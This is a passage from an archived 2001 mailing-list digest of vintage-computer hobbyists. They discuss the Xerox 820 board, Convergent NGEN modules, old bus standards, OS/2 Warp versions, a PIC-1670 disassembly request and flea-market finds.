Thousands of these were sold as bare boards with limited doc's. I frequently ran into folks using them, yet never saw one in the original Xerox enclosure. The Xerox box was just too expensive. Once they were no longer a major product, they were surplussed out as bare boards. I think it was through BG Micro. Dick ----- Original Message ----- From: "Rich Beaudry" To: Sent: Thursday, June 28, 2001 9:12 AM Subject: Xerox 820 > Hello all, > > Recently I acquired a Xerox 820, but as a single board, w/ power supply. I > also received many docs (including a tech manual with Monitor listings and > schematics). I know originally these were "all-in-one" computers, but many > appear at ham fests in exactly the same shape as mine -- as a single board > computer. > > Of course, hooking a terminal up to it produces nothing (even testing at > different baud rates/parity/stop bits, etc), so I'm wondering: > > - Are there any modifications (ROM or jumpers) to "convert" this to use the > serial port for a console, rather than the keyboard and video display? I > couldn't find anything in my docs, but of course, I have not read them in > depth yet. > > In return, I could offer copies of the docs, or thanks to 22NICE and my > Compaticard (thanks Don!), copies of the files on the diskettes (CP/M, "Word > Processor", "Diagnostics", "Training Files" and "Program Files"), or images > of the disks (assuming Teledisk could do it -- I haven't tried that yet). > The disks are 5.25", SSSD > > Thanks! > > Rich B. > > From jhellige at earthlink.net Thu Jun 28 12:02:12 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:05:02 2005 Subject: Whats a reasonable collection? In-Reply-To: <3B3B5C6C.B9BFF856@internet1.net> Message-ID: <01Jun28.130631edt.119139@gateway.mediacen.navy.mil> on 6/28/01 12:33 PM, Chad Fernandez at fernande@internet1.net wrote: > Well, I never heard of Zorro, and I wouldn't know Turbochannel if I saw > it. I suspect PCI doesn't use jumpers because most cards are, "Plug and > Play". Besides, PCI wasn't around when Microchannel was king of the > corporate world. Zorro was around in 87 when the MCA machines appeared. It was strictly Amiga though. It was always 'Plug & Play' with boards plugged into Zorro II and III slots supporting Autoconfig. I'm not sure about the Zorro slots on the A1000 and A500. Jeff From edick at idcomm.com Thu Jun 28 12:04:04 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:05:02 2005 Subject: Micro Cornucopia magazines References: Message-ID: <001601c0fff4$55ea5ea0$9cc762d8@idcomm.com> I've taken bound items such as catalogs and magazines to a print shop to have them shear off the binding. This needs to be done carefully so there aren't irrularities which will bind up a sheed-feeder. Printers are sensitive to this sort of thing, since they often are called upon to shear off the binding of a manual as part of duplicating it via a sheetfed copier. Dick ----- Original Message ----- From: "Gene Buckle" To: Sent: Thursday, June 28, 2001 8:19 AM Subject: Re: Micro Cornucopia magazines > > > You should give them to the person that is making a publicly accessible > > > archive of computer books, manuals and magazines. > > > > > > (completely shameless plug :) > > > > > > > Or. to someone that will be hack their way through them using them as they > > were meant to be used... > > > > Actually, you need someone that wouldn't be bashful about slicing the > spines off with a bandsaw and then running the lot of them through a sheet > fed scanner for coversion to PDF files. :) > > g. > > > From jbmcb at hotmail.com Thu Jun 28 12:08:16 2001 From: jbmcb at hotmail.com (Jason McBrien) Date: Sun Feb 27 19:05:02 2005 Subject: Old stuff found + help identifying... References: <5.1.0.14.1.20010628120902.00a108f0@mailhost.intellistar.net> Message-ID: I see those systems in ultrasound machines at U of M property disposition all the time. They sit on a shelf under the main screen and drive the thing I suppose. Neat machine, never picked one up because they are completely un-labeled and I had no idea what they were. I assumed they were just embeded controllers for the ultrasounds. ----- Original Message ----- From: "joe" To: Sent: Thursday, June 28, 2001 12:11 PM Subject: Re: Old stuff found + help identifying... > At 11:07 AM 6/28/01 -0400, you wrote: > >A few days ago one of the storage rooms at the university > >was cleaned up and I grabbed all the computer-related stuff > >that I could. Not a lot of variety, though. Besides > >from the wintel carcasses and Mac plus remains, I found > >one Datapoint 1550 and several modules from a type system that > >I have never seen. The cpu, floppy disk drives and graphics > >modules snap onto each other's side very neatly. There are > >several of these systems, with the corresponding monitors and > >keyboards. Alas, the only power supply unit that I found > >is incomplete and badly damaged. Do you guys have some > >info about these systems? > > Carlos, > > I've seen a couple of systems made by Concurrent that look like > those. I think the Concurrents use a power supply brick that puts out > something like 36VDC. The power supplies seem to be scarce, i've only seen > one of them. I don't know anything else about the Concurrent systems, sorry. > > Joe > > > > Pics can be found at > > > >http://jimulco.autonoma.edu.co/~carlos/hp/datapoint_1550.jpg > > > >http://jimulco.autonoma.edu.co/~carlos/hp/modularsystem.jpg > > > >These pics are about 70K. They'll probably load slowly; > >we're bandwidth-starved these days. > > > > > >-- > >Carlos E. Murillo-Sanchez email: carlos_murillo@ieee.org > >Universidad Autonoma de Manizales, Manizales, Colombia > > From bdc at world.std.com Thu Jun 28 12:12:00 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:05:02 2005 Subject: Whats a reasonable collection? In-Reply-To: <3B3B5C6C.B9BFF856@internet1.net> Message-ID: On Thu, 28 Jun 2001, Chad Fernandez wrote: > Iggy Drougge wrote: > > I hate to tell you this, but other buses such as Zorro, PCI or Turbochannel > > aren't jumpered either, yet without the need for ADF files. > > ADF files are just jumpers on a disk. > Well, I never heard of Zorro, and I wouldn't know Turbochannel if I saw > it. I suspect PCI doesn't use jumpers because most cards are, "Plug and > Play". Besides, PCI wasn't around when Microchannel was king of the > corporate world. There's EISA. I thought it was an okay bus while maintaining backwards compatibility with ISA. It'd have been more successful if it were cheaper. As for other non-jumpered busses, Sun's Sbus is nice. -brian. From jos.mar at bluewin.ch Thu Jun 28 14:22:23 2001 From: jos.mar at bluewin.ch (jos.mar) Date: Sun Feb 27 19:05:02 2005 Subject: HP2748A papertape reader : connector ? Message-ID: <01062821272400.00371@jos> A recent dumpster dive yielded a HP2748A papertape reader. Does anyone have the interface spec's for this device handy ? Left in the dumpster were : a Facit 4070 punch, a hp(8900?) diskdrive with power supply. The disk, vintage early to mid seventies, really should be saved but since I do not have a fitting computer.... (Location Zurich , Switzerland ) Jos Dreesen From Innfogra at aol.com Thu Jun 28 12:46:48 2001 From: Innfogra at aol.com (Innfogra@aol.com) Date: Sun Feb 27 19:05:02 2005 Subject: Old stuff found + help identifying...Convergent boxes Message-ID: The Convergent (mini-engine, mini-frame was a nickname I believe) was a modular computer made up so small boxes locked together. I think it was sold mostly to the Government and the military. The first CPU module (B25) was an Intel 80186 processor. As technology grew they made units with 286 (B28) and 386 (B36) processors. I believe they ran a proprietary OS. I have the module description manual buried somewhere in storage since the move. They had single and dual floppies, single and dual HDs of several sizes, tape drives, mono & color graphics, even a PC emulator module. The module name is usually on the front. All of the power supplies were external 36 V with RJ type cables. They were different power capacities depending on the draw required by the module. I always thought they were cute but never got one up and running. Monitors and graphic modules need to match. You need the proprietary keyboard. They are password protected. Paxton Astoria, OR -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20010628/c13d9817/attachment.html From jhellige at earthlink.net Thu Jun 28 12:47:19 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:05:02 2005 Subject: Whats a reasonable collection? In-Reply-To: Message-ID: <01Jun28.135141edt.119147@gateway.mediacen.navy.mil> on 6/28/01 1:12 PM, Brian Chase at bdc@world.std.com wrote: > There's EISA. I thought it was an okay bus while maintaining backwards > compatibility with ISA. It'd have been more successful if it were > cheaper. As for other non-jumpered busses, Sun's Sbus is nice. Didn't EISA also suffer from still being slow? I seem to remember that it didn't gain much/any speed over ISA, just that the data path went from 16 to 32bits, allowing it to move more data at the same bus speed? To remain compatible with ISA, it would seem they'd have to retain the original bus speed as well. I've always thought it was too bad that things like VLB didn't appear with the 80386 when it was really needed. Jeff From ethan_dicks at yahoo.com Thu Jun 28 12:53:25 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:05:02 2005 Subject: 1% (was Re: Looking for info - En-link Ethernet card for the Apple II) In-Reply-To: <1898.579T2050T1375603optimus@canit.se> Message-ID: <20010628175325.39726.qmail@web9501.mail.yahoo.com> --- Iggy Drougge wrote: > >...(British Pound notes, for example) is no longer currency... > > All British notes that I've seen have been in pounds... Didn't they phase out the one Pound note in favor of Pound coins? I was told that the banknotes were going to be removed from circulation. Perhaps I was misinformed. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From steven_j_robertson at hotmail.com Thu Jun 28 12:54:12 2001 From: steven_j_robertson at hotmail.com (Steve Robertson) Date: Sun Feb 27 19:05:02 2005 Subject: Xerox 820 Message-ID: >Thousands of these were sold as bare boards with limited doc's. I >frequently ran into folks using them, yet never saw one in the original >Xerox enclosure. The Xerox box was just too expensive. Once they were no >longer a major product, they were surplussed out as bare boards. I think it >was through BG Micro. > I got several of the bare boards in a lot of XEROX stuff that bought several years ago. Haven't looked in those boxes in a long time but if I recall correctly, the DOCS were *minimal*. If someone really wanted them, I'd be willing to part with the boards. SteveRob >----- Original Message ----- From: "Rich Beaudry" To: Sent: Thursday, June >28, 2001 9:12 AM Subject: Xerox 820 > > > > Hello all, > > Recently I acquired a Xerox 820, but as a single board, >w/ power supply. I > also received many docs (including a tech manual with >Monitor listings and > schematics). I know originally these were >"all-in-one" computers, but many > appear at ham fests in exactly the same >shape as mine -- as a single board > computer. _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com From optimus at canit.se Thu Jun 28 13:23:13 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:02 2005 Subject: Whats a reasonable collection? In-Reply-To: <01Jun28.100202edt.119223@gateway.mediacen.navy.mil> Message-ID: <896.579T650T11634291optimus@canit.se> Jeff Hellige skrev: >on 6/28/01 8:46 AM, Iggy Drougge at optimus@canit.se wrote: >> The only version of Warp I've got lacks networking. Well, that's not >> entirely true, it has got TCP/IP networking, but only across a modem. >> Besides, as competent as Warp might be, it feels like working with a >> multitasking MS-DOS. > Warp Connect Version 3 and above has full support for networking, both >over modem and ethernet. It even includes the OS/2 Novell client on the CD. >I tested it on my P70 (8573-121) with an Etherlink MCA NIC. But I've only got the old red version, whereas the Connect version is blue! Although I don't particularly like Warp, I'd still enjouy running it on one of my PS/2s, had I only got networking working. -- En ligne avec Thor 2.6a. G? med i SUGA, Swedish Usergroup of Amiga! WWW: http://swedish.usergroup.amiga.tm/ BBS: 08-6582572, telnet://sua.ath.cx:42512 From edick at idcomm.com Thu Jun 28 13:35:55 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:05:02 2005 Subject: Xerox 820 References: Message-ID: <000d01c10001$2aec96c0$9cc762d8@idcomm.com> I'm not sure where they are, at the moment, but I have a couple of daughterboards that fit via cable into the 1771 socket but allow the use of a 179x device for double-density recording. I'm not at all sure that the 2.5 MHz Z80 can manage the data transfer rate for DD 8" diskettes, but it's possible that there's an associated update for the CPU that makes it possible. OTOH, DS 5-1/4" diskettes benefit greatly from DD recording. Unfortunately, I haven't seen the one-page doc that goes with those boards in a long time, and I've never seen the software update to support DD diskettes. Dick ----- Original Message ----- From: "Steve Robertson" To: Sent: Thursday, June 28, 2001 11:54 AM Subject: Re: Xerox 820 > >Thousands of these were sold as bare boards with limited doc's. I > >frequently ran into folks using them, yet never saw one in the original > >Xerox enclosure. The Xerox box was just too expensive. Once they were no > >longer a major product, they were surplussed out as bare boards. I think it > >was through BG Micro. > > > > I got several of the bare boards in a lot of XEROX stuff that bought several > years ago. Haven't looked in those boxes in a long time but if I recall > correctly, the DOCS were *minimal*. > > If someone really wanted them, I'd be willing to part with the boards. > > > SteveRob > > > > >----- Original Message ----- From: "Rich Beaudry" To: Sent: Thursday, June > >28, 2001 9:12 AM Subject: Xerox 820 > > > > > > > Hello all, > > Recently I acquired a Xerox 820, but as a single board, > >w/ power supply. I > also received many docs (including a tech manual with > >Monitor listings and > schematics). I know originally these were > >"all-in-one" computers, but many > appear at ham fests in exactly the same > >shape as mine -- as a single board > computer. > > _________________________________________________________________ > Get your FREE download of MSN Explorer at http://explorer.msn.com > > From enrinaso at tin.it Thu Jun 28 12:53:22 2001 From: enrinaso at tin.it (Enrico Naso) Date: Sun Feb 27 19:05:02 2005 Subject: data migration Message-ID: <000601c10001$039d6ae0$0301a8c0@enrico> J need to migrate data from a 3M DC600A Data Cartridge(60Mb) backed up from an internal tape onto a Honeywell Bull DPS6-Plus to any PC-compatible media-support. This means Floppy, Zip, cd-rom, ecc.) thank for your attention Enrico Naso -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20010628/fcc9aaa0/attachment.html From mikeford at socal.rr.com Thu Jun 28 13:33:45 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:05:02 2005 Subject: Whats a reasonable collection? In-Reply-To: <3B3AD1B5.94D84CD2@internet1.net> References: <1383.579T500T454041optimus@canit.se> Message-ID: >Only thing I don't like is a lack of fast SCSI cards. I have all kinds >of good scsi cards for my EISA computer, but not my Microchannel. I SCSI MCA cards are so common in the systems I find I don't bother to keep them anymore. Want to explain the above so I understand what to look for? From red at bears.org Thu Jun 28 13:41:47 2001 From: red at bears.org (r. 'bear' stricklin) Date: Sun Feb 27 19:05:02 2005 Subject: Old stuff found + help identifying...Convergent boxes In-Reply-To: Message-ID: I think you've gotten a couple things mixed up... On Thu, 28 Jun 2001 Innfogra@aol.com wrote: > The Convergent (mini-engine, mini-frame was a nickname I believe) was > a modular computer made up so small boxes locked together. I think it > was sold mostly to the Government and the military. The modular systems under discussion at the moment are collectively known as NGEN systems. They were developed by Convergent and sold under license by Burroughs and a few other companies. The Convergent Mini-frame and Miti-frame systems were M68k-based UNIX workstations and not very much at all like the NGEN systems. > The first CPU module (B25) was an Intel 80186 processor. As technology grew > they made units with 286 (B28) and 386 (B36) processors. I believe they ran a > proprietary OS. The Bxx designators are Burroughs nomenclature. The Convergent-labeled systems had different model numbers; My 8 MHz 80186 NGEN system is a CM001/8. They all ran an OS called CTOS (or Burroughs-badged BTOS). > All of the power supplies were external 36 V with RJ type cables. They were > different power capacities depending on the draw required by the module. All of my power supply modules have the same rating (10). It's not necessary to power every module; if you have six modules in a system which have a power rating of, say, 36, between them, you only need four power supply modules (collectively supplying 40 power units). There are probably additional rules on hooking up power supplies, but I'm not able to speak of those just at the moment. > I always thought they were cute but never got one up and running. Monitors > and graphic modules need to match. You need the proprietary keyboard. They > are password protected. I was able to defeat the password on a server system by connecting the drive module to a password-less system and fiddling with a file. If that sparks inspiration in anybody, drop me a note and I can try to dredge my memory for specifics. ok r. From red at bears.org Thu Jun 28 13:54:26 2001 From: red at bears.org (r. 'bear' stricklin) Date: Sun Feb 27 19:05:02 2005 Subject: Whats a reasonable collection? In-Reply-To: <896.579T650T11634291optimus@canit.se> Message-ID: On 28 Jun 2001, Iggy Drougge wrote: > But I've only got the old red version, whereas the Connect version is > blue! Although I don't particularly like Warp, I'd still enjouy > running it on one of my PS/2s, had I only got networking working. Not exactly. The so-called 'red box' and 'blue box' OS/2 Warp refers to the inclusion or exclusion of of Microsoft-licensed code in the form of Windows 3.1 If you had 'red box', or "OS/2 Warp for Windows" you had to supply your own Windows installation disks to run Windows 3.1 apps under OS/2. If you had 'blue box', it came with its own copy of Windows 3.1 and needed nothing additional to run Windows 3.1 apps under OS/2. Both OS/2 Warp and OS/2 Warp Connect came in red and blue varieties. Warp Connect was essentially Warp with an add-on IBM software package to give it network capabilities; at one point you could abuse one of the fixpacks to get Warp Connect functionality out of plain-old Warp. I am an ex-bitter-OS/2-user and recovering former-Team-OS/2-member. There are features of OS/2 which I think still haven't been fully realized in other platforms (dig that SOM/Workplace Shell integration), but on the whole OS/2 lacked polish. The world has moved on, and I'm okay with that. ok r. From cmcmanis at mcmanis.com Thu Jun 28 14:04:28 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:05:02 2005 Subject: seeking settings for DEC M3107 DHQ11 QBUS module In-Reply-To: <3B3B46A4.22999.12E4C815@localhost> References: <3B3A4C21.B984B8E4@atari-history.com> Message-ID: <5.0.0.25.2.20010628120237.00aa86f0@209.185.79.193> Same as the DHV11 :-) Send me your snail mail address off list and I'll put a couple of cab kits in the mail to you (these have 4 DB25 connectors and connect with a 40 pin ribbon cable) --Chuck At 03:00 PM 6/28/01 +0100, you wrote: >Hi, >does anyone have the users guide to hand (or know where it is online) to >detail for me the switch settings for this board and also the pinnouts from >the card ribbon connectors? > >thanks >greg From webmaster at atari-history.com Thu Jun 28 17:07:54 2001 From: webmaster at atari-history.com (Curt Vendel) Date: Sun Feb 27 19:05:02 2005 Subject: Anybody good at disassembly???? References: <000d01c10001$2aec96c0$9cc762d8@idcomm.com> Message-ID: <3B3BAAB9.97603A9@atari-history.com> Hi, Looking for anyone who is a major codehead that is really good at coverting HEX code back to assembly. The code is for a long since obsolete PIC-1670 MCU and all of the current disassemblers are for more current MCU's and not this off the wall 13-bit word beastie. Willing to pay a nominal fee if someone can do it, even if your only in it for the challenge, somebody's gotta pay for the case of Coca-Cola (or Pepsi if thats your choice) and the Twinkies to keep you on those all night sugar highs to do the work :-) Seriously though, I'm in a bind and could use the help if anyone is interested, thanks. Curt From ethan_dicks at yahoo.com Thu Jun 28 14:25:21 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:05:02 2005 Subject: Classic busses (was Re: Whats a reasonable collection?) In-Reply-To: <3B3B5C6C.B9BFF856@internet1.net> Message-ID: <20010628192521.34688.qmail@web9504.mail.yahoo.com> --- Chad Fernandez wrote: > Well, I never heard of Zorro, and I wouldn't know Turbochannel if I saw > it. I suspect PCI doesn't use jumpers because most cards are, "Plug and > Play". Besides, PCI wasn't around when Microchannel was king of the > corporate world. Zorro is the Amiga bus - there are two card sizes/form factors, Zorro ZorroII. I have seen a "sit-on-the-top" Zorro expander for the Amiga 1000, but almost anything people are likely to see are ZorroII cards. They require a ROM or a PAL simulating a ROM to provide a few nybbles of info about the card - the vendor and type code, what kind of I/O or memory space it needs, etc. That's the Commodore "AUTOCONFIG" spec which predates Plug-n-Play by quite a bit. Turbochannel is the bus I've seen most often with DEC RISC workstations, although I think they were not the only vendor to use it. The MIPS boxes and the early Alpha boxes were Turbochannel. Mostly, it was used for frame buffers, but I think there were one or two non-graphic Turbochannel cards. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From ethan_dicks at yahoo.com Thu Jun 28 14:29:50 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:05:02 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: <200106280427.f5S4RCB13904@grover.winsite.com> Message-ID: <20010628192950.78992.qmail@web9506.mail.yahoo.com> --- Paul Braun wrote: > > > <> > > > > I was offered a *huge* box (> 1 cu ft) of modules at Dayton for $0.25 > > each. > > Wow! Were you there when he had just dragged them out of his > van? I might have been standing right next to you and not even > known it. Maybe... I'm 5'6", long, brown ponytail, clean shaven (at the moment), and might have been wearing "glacier glasses" (my only prescription sunglasses) if it was sunny enough to need them (which was _not_ often that Friday). > I pawed through the boxes, too, but after seeing "reject" written on > 80% of the items, I opted not to waste any more time. Me, too, although I have bought items at Dayton marked "defective" - got a 3Com 3c905 that way for free - the seller threw it in as a freebie because I bought _something_ from him - took it home, plugged it in and am still using it. I suspected that the thing that was most likely to be defective was the bench-tech who tested it. I was right. Doesn't mean I want to test 200 lamp modules, though. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From gareth.knight at btinternet.com Thu Jun 28 14:37:04 2001 From: gareth.knight at btinternet.com (Gareth Knight) Date: Sun Feb 27 19:05:02 2005 Subject: Whats a reasonable collection? References: <763.579T1950T8316083optimus@canit.se> <3B3B5C6C.B9BFF856@internet1.net> Message-ID: <00c601c1000a$311c5d60$0101010a@pentium2> Chad Fernandez wrote: > Well, I never heard of Zorro, and I wouldn't know Turbochannel if I saw > it. I suspect PCI doesn't use jumpers because most cards are, "Plug and > Play". Besides, PCI wasn't around when Microchannel was king of the > corporate world. Zorro is a bus standard used on the Amiga. The so-called 'big box' Amigas (A1500, A2000, A3000, A4000) and A1200 busboard expansions allow the use of Zorro graphics, TV, sounds, and network expansion cards. An unofficial upgrade - called Z4 - was launched about two years ago. It provides some speed improvement, but is badly supported. On a related note, many Amiga developers are experiencing a culture shock when moving to Amiga PCI drivers, in comparison to the limited Zorro solutions. http://www.amiga.org/article.php?sid=1043&mode=thread&order=0 -- Gareth Knight Amiga Interactive Guide http://amiga.emugaming.com Home of the Amiga magazine guide, Complete Amiga prototype/official/clone list, and more! From gene at ehrich.com Thu Jun 28 14:35:22 2001 From: gene at ehrich.com (Gene Ehrich) Date: Sun Feb 27 19:05:02 2005 Subject: Anybody good at disassembly???? In-Reply-To: <3B3BAAB9.97603A9@atari-history.com> References: <000d01c10001$2aec96c0$9cc762d8@idcomm.com> Message-ID: <4.3.2.7.2.20010628153134.00a9e9d0@popmail.voicenet.com> I remember back in the early days at IBM right before the 360 was announced that they were talking in the industry of the possibility of a disassembler. Most people poo-poo'd it as impossible. Datamation magazine had a cartoon with a picture of a machine labeled disassembler with a conveyer belt on each side. A worker was feeding cans of applesauce into the machine and on the other side apples were coming out. From ethan_dicks at yahoo.com Thu Jun 28 14:38:21 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:05:02 2005 Subject: Whats a reasonable collection? In-Reply-To: <01Jun28.130631edt.119139@gateway.mediacen.navy.mil> Message-ID: <20010628193821.79845.qmail@web9506.mail.yahoo.com> --- Jeff Hellige wrote: > Zorro was around in 87 when the MCA machines appeared. It was strictly > Amiga though. It was always 'Plug & Play' with boards plugged into Zorro II > and III slots supporting Autoconfig. I'm not sure about the Zorro slots on > the A1000 and A500. Zorro is Zorro. All Amigas that have an expansion bus (not sure about the A600/CDTV/CD32...) do AUTOCONFIG. The difference is that the A1000 and A500 have an 86-pin expansion bus that isn't identical to Zorro, but there are simple adapters to give you one or two true Zorro slots. Even the A590 is a true AUTOCONFIG device -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From SUPRDAVE at aol.com Thu Jun 28 14:49:20 2001 From: SUPRDAVE at aol.com (SUPRDAVE@aol.com) Date: Sun Feb 27 19:05:02 2005 Subject: Whats a reasonable collection? Message-ID: <71.f015afa.286ce440@aol.com> In a message dated 6/28/01 1:46:05 PM Central Daylight Time, mikeford@socal.rr.com writes: << >Only thing I don't like is a lack of fast SCSI cards. I have all kinds >of good scsi cards for my EISA computer, but not my Microchannel. I SCSI MCA cards are so common in the systems I find I don't bother to keep them anymore. Want to explain the above so I understand what to look for? >> there's plenty to choose from, scsi with or without cache, or you can even get some of the better scsi controllers out of the 9595 models. I have several non IBM MCA SCSI adaptors which Ive installed in some pre-existing SCSI-equipped PS2s just so I have a standard external connector to work with. Those IBM external cables are getting hard to find. From bdc at world.std.com Thu Jun 28 14:56:29 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:05:02 2005 Subject: Whats a reasonable collection? In-Reply-To: <01Jun28.135141edt.119147@gateway.mediacen.navy.mil> Message-ID: On Thu, 28 Jun 2001, Jeff Hellige wrote: > on 6/28/01 1:12 PM, Brian Chase at bdc@world.std.com wrote: > > There's EISA. I thought it was an okay bus while maintaining backwards > > compatibility with ISA. It'd have been more successful if it were > > cheaper. As for other non-jumpered busses, Sun's Sbus is nice. > > Didn't EISA also suffer from still being slow? I seem to remember that > it didn't gain much/any speed over ISA, just that the data path went from 16 > to 32bits, allowing it to move more data at the same bus speed? To remain > compatible with ISA, it would seem they'd have to retain the original bus > speed as well. Well, based on this freely available PDF version of the MindShare EISA System Architecture book. EISA has these improvements over ISA: * Supports intelligent bus master expansion cards. * Improved bus aribitration and transfer rates. * Facilitates 8, 16, or 32-bit data transfers by the main CPU, DMA, and bus master devices. * An efficient synchronous data transfer mechanism, permitting single transfers as well as high speed burst transfers. * Allows 32-bit memory addressing for the main CPU, DMA devices, and bus master cards. * Shareable and/or ISA-compatible handling of interrupt requests. * Automatic steering of data during bus cycles between EISA and ISA masters and slaves. * 33MB/s data transfer rate for bus masters and DMA devices. * Automatic configuration of the system board and EISA expansion cards. The book can be found at: http://www.mindshare.com/pdf/eisabook.pdf -brian. From webmaster at atari-history.com Thu Jun 28 18:00:58 2001 From: webmaster at atari-history.com (Curt Vendel) Date: Sun Feb 27 19:05:02 2005 Subject: Anybody good at disassembly???? References: <000d01c10001$2aec96c0$9cc762d8@idcomm.com> <4.3.2.7.2.20010628153134.00a9e9d0@popmail.voicenet.com> Message-ID: <3B3BB72A.E5DB8F03@atari-history.com> There are tons of disassemblers available for current moderm PIC MCU's, the most popular being the PIC1684. Curt Gene Ehrich wrote: > I remember back in the early days at IBM right before the 360 was announced > that they were talking in the industry of the possibility of a > disassembler. Most people poo-poo'd it as impossible. Datamation magazine > had a cartoon with a picture of a machine labeled disassembler with a > conveyer belt on each side. A worker was feeding cans of applesauce into > the machine and on the other side apples were coming out. From javi at cse.ucsc.edu Thu Jun 28 15:02:07 2001 From: javi at cse.ucsc.edu (Francis. Javier Mesa) Date: Sun Feb 27 19:05:02 2005 Subject: Classic busses (was Re: Whats a reasonable collection?) In-Reply-To: <20010628192521.34688.qmail@web9504.mail.yahoo.com> Message-ID: > Turbochannel is the bus I've seen most often with DEC RISC workstations, > although I think they were not the only vendor to use it. The MIPS boxes > and the early Alpha boxes were Turbochannel. Mostly, it was used for > frame buffers, but I think there were one or two non-graphic Turbochannel > cards. There were a ton of non-graphic turbochannel cards, like ethernet, scsi, fddi, serial controllers, etc. Turbochannel was with EISA supposed to be one of the standard busses for the ARC consortium in the early nineties (whatever happened to that?). I has almost the same form factor as sbus, and it has a pretty good B/W for its age!!! Did any vendor besides DEC ever use the turbochannel? _______________________________________________________________________ Francisco J. MesaMartinez http://www.cse.ucsc.edu/~javi _______________________________________________________________________ Basking Engineering Ctr #228 email:javi@cse.ucsc.edu University of California Santa Cruz, CA 95064 phone:(831) 502-2073 _______________________________________________________________________ From optimus at canit.se Thu Jun 28 15:20:42 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:02 2005 Subject: Whats a reasonable collection? In-Reply-To: Message-ID: <858.579T2100T12805589optimus@canit.se> Brian Chase skrev: >On Thu, 28 Jun 2001, Chad Fernandez wrote: >> Iggy Drougge wrote: >> > I hate to tell you this, but other buses such as Zorro, PCI or >> > Turbochannel aren't jumpered either, yet without the need for ADF files. >> > ADF files are just jumpers on a disk. >> Well, I never heard of Zorro, and I wouldn't know Turbochannel if I saw >> it. I suspect PCI doesn't use jumpers because most cards are, "Plug and >> Play". Besides, PCI wasn't around when Microchannel was king of the >> corporate world. >There's EISA. I thought it was an okay bus while maintaining backwards >compatibility with ISA. It'd have been more successful if it were >cheaper. As for other non-jumpered busses, Sun's Sbus is nice. EISA is similar to MCA, it's got the same descriptor files, only they're called INF instead of ADF. -- En ligne avec Thor 2.6a. From optimus at canit.se Thu Jun 28 15:31:12 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:02 2005 Subject: 1% (was Re: Looking for info - En-link Ethernet card for the Apple II) In-Reply-To: <20010628175325.39726.qmail@web9501.mail.yahoo.com> Message-ID: <588.579T600T12914033optimus@canit.se> Ethan Dicks skrev: >--- Iggy Drougge wrote: >> >...(British Pound notes, for example) is no longer currency... >> >> All British notes that I've seen have been in pounds... >Didn't they phase out the one Pound note in favor of Pound coins? I was >told that the banknotes were going to be removed from circulation. >Perhaps I was misinformed. Oh, single pound notes! Well, I've only seen the coins, then. -- En ligne avec Thor 2.6a. We have the most thorough test guy in the world... I showed him this program and he asked, 'but Rob, what if time runs backward?' From optimus at canit.se Thu Jun 28 15:17:03 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:05:02 2005 Subject: Back from the fleamarket Message-ID: <2512.579T150T12774111optimus@canit.se> I went on a shopping spree at the fleamarket today (well... =). First I picked up a SyQuest 88, mainly for the nice PowerUser case. Then I found an Atari mouse, and as horrible as they are (the only mice which are worse are the old IBM models), it would be nice to have at least one functioning original mouse. Then I went to Bruno, who had a whole lot of junk, as always. Amongst others, he had ISA accelerators - one Microsoft Mach-20 (No, M$ are not a hardware company, of course...) 286 accelerator and another 386 one. I bought a Kingston MCA 386 memory expansion and some odd Novell card, which leads us on to the questions: The card I bought is made by Novell, and has got the serial number 89935 and the application number 5657. Those numbers are noted with a marker pen. The words "BOARD 738-61-001 REV B" are screened onto the board. The board itself is a small eight-bit ISA card without any connectors (save for the ISA card- edge, of course). The construction is quite simple, consisting of four 74LS chips (one 7407N and three 74LS244N), a PAL, an AMD AM25LS2521PCB (another 74LS chip?) and a big gob of glue which conceals another chip. That's it, apart from some discrete components. Bruno told me that it's some kind of diagnostics card, but not exactly what kind of diagnostics card. Then he had a KA410-A board, which my research tells me is either a ?VAX 2000 or a VAXstation 2000. It's just a card and nothing else, though. I don't suppose it's really feasible to construct a working system out of it? My friend bought it for the SCSI chip, which he intends to use in order to repair a Supra Amiga SCSI controller. He also had a lot of Ungermann-Bass boards. They had some kind of VME-look-a- like DIN connector in the middle of one edge as well as some resembling D-sub connectors, all intended to plug into a back plane of some kind. They used a plethora of processors, both Motorola m68k, i80186 and i960. I finally bought a Datapulse 106A pulse generator, mainly due to its low price and the nice case (nineteen inch carry case with leather handles =). BTW, what's a Xerox FLEX? It's a small box with two centronics ports, a miniscule "parallel port" (so the label says) and a BNC connector. I also found a Zenith Z-station 235Sn, which looked like some kind of pizza box workstation, but I couldn't pry it open. What is it? -- En ligne avec 